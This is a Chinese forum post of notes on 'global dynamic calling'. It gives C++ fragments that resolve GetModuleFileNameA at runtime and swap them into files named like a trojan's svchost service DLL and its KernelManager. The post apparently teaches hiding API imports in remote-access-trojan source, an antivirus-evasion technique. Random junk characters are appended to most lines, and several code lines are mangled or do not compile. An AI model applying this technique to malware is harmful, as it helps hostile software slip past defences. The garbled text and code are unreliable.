返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记5 c  _( |, S$ e: ^4 ]
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h) j/ f6 ^2 D# U1 p. [
----------------------------------------
  f' J( Q; {/ u  K# z- N9 qDTDY.h:
, o  U" K% ?* P  @- n; N% f9 D$ P3 b2 N6 X8 c* s9 E8 P7 p; J$ i
#if _MSC_VER>1000
9 t1 x" N# y. i#pragma once
1 x; [6 i7 j  X  V#endif //_MSC_VER>1000
5 y- A4 o. F- L/ d#include<windows.h>
6 O1 j& h; F- Y+ m6 z: T- T
1 X7 ]5 d; u- ]8 ]8 K1 ?typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
! A1 t" k8 k" q; ^class DTDY9 `& d% _8 `* e4 c& P( |, F
{
* }+ L; [0 m( Z7 p2 g/ b4 Apublic:, @9 I9 I4 F3 ]* X
DTDY();8 J6 j8 I$ ], B' q- Q; t' w
virtual ~DTDY();# {& W: }4 p9 t/ ?& L% H3 F; d
public:) _' b1 @! i' s( a( s% s  r6 U
static pGetModuleFileNameA MyGetModuleFileName;" ^% I8 J4 U  R; a4 t+ L4 L
static BOOL FunInitiallization();& a5 U% Z: M1 T  M2 B. Y
};; D5 ~, e; D  U- u) \
#endif+ ]: K1 l$ A2 a9 i* f
----------------------------------------- |; F) W: r0 J

" r; m! c& ~( J* V) y( j; mDTDY.cpp:$ u- k8 g/ J7 p1 N+ C$ @

% S5 Q+ y$ m; Z6 d* |#include "DTDY.h"
4 z/ Y+ K  m7 S) l4 K+ Q. OpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;- ]! i% `, W* `2 i& R) X$ p
DTDY:TDY()
0 Y6 ]0 j. T1 c# b8 u6 G+ M/ f{3 p! J  o% L) _0 r$ a
}" V" j3 \0 X  J; m4 t5 S
DTDY::~DTDY()
4 I; J/ Q  k1 U. v) z{
, f/ n4 M5 }+ H5 \9 k}
# P9 o+ ?- `" f! H0 BBOOL DTDY::FunInitiallization()
4 D' o9 y$ X9 k! M- y{
( g9 W- S1 t3 j$ Y, ZHMODULE hModule=LoadLibrary("kernel32.dll");+ M6 G5 U+ Y6 m4 |9 D7 h. W+ Z+ P! P
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");% z- }8 m* ^& }( k, E6 u% \3 C7 W- Z
if(!MyGetModuleFileName=) return FALSE;1 R; W8 k) ]# O9 ]: G

! y3 D' E3 Q. A/ Creturn TRUE;
) v+ Y; T) v4 O}
  |6 _. B% F3 b8 {+ s----------------------------------------0 R$ j' s$ D( [
svchost.cpp:- Q; [3 }& g# ?6 ?0 l1 q

0 E2 E5 g1 O' X! T2 {: ^#include "DTDY.h"6 S' h4 T& {& u+ S

% w# Q! j& t: O/ l( dBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
# K/ S7 k7 M" r9 Z{& r, G5 S; x# A9 a
switch(ul_reason_for_call)7 ?4 _6 j. H& t5 b! a
{. v1 n$ S+ X# Z& H5 [/ Q. L
case DLL_PROCESS_ATTACH:# U$ A$ ]+ F" |$ R7 ]6 Z4 W0 t  c
if(!DTDY::FunInitiallization()) return FALSE;
* H! R5 E' y- }7 }% R, [3 w" A" w7 }3 c/ G- \4 m$ m
break;
8 H# r+ N2 a1 ?% n9 Z}
( ^: R0 m2 E' H) E  j3 h}
- y# o' E4 K" v6 Y) L" O" n, \' K/ C7 V5 c/ u: D5 K4 r3 ^/ n4 o" J

- y& c. j9 X! n, W# PGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
- l8 }* f1 Z7 w: o改写为
2 J/ G0 f9 [1 H9 _, d. V6 |8 a. ?DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));( V9 q( t) O- B( O% B
----------------------------------------
# a9 [* j# @# }# S5 H3 |KernelManager.cpp:5 `; L$ i; M6 G; J% l% J$ W7 V( N
- r& R5 G, J  |" t& c+ n
#include "../DTDY.h"
! ?/ s( G: d2 @( v- d+ o" xGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));2 V: `' o/ ^; D* x: j
改写为
7 q! b5 T% _# v$ C' Z5 Q% Q# ^DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
1 K$ p0 L, v2 o! N" V; ^. [----------------------------------------

返回列表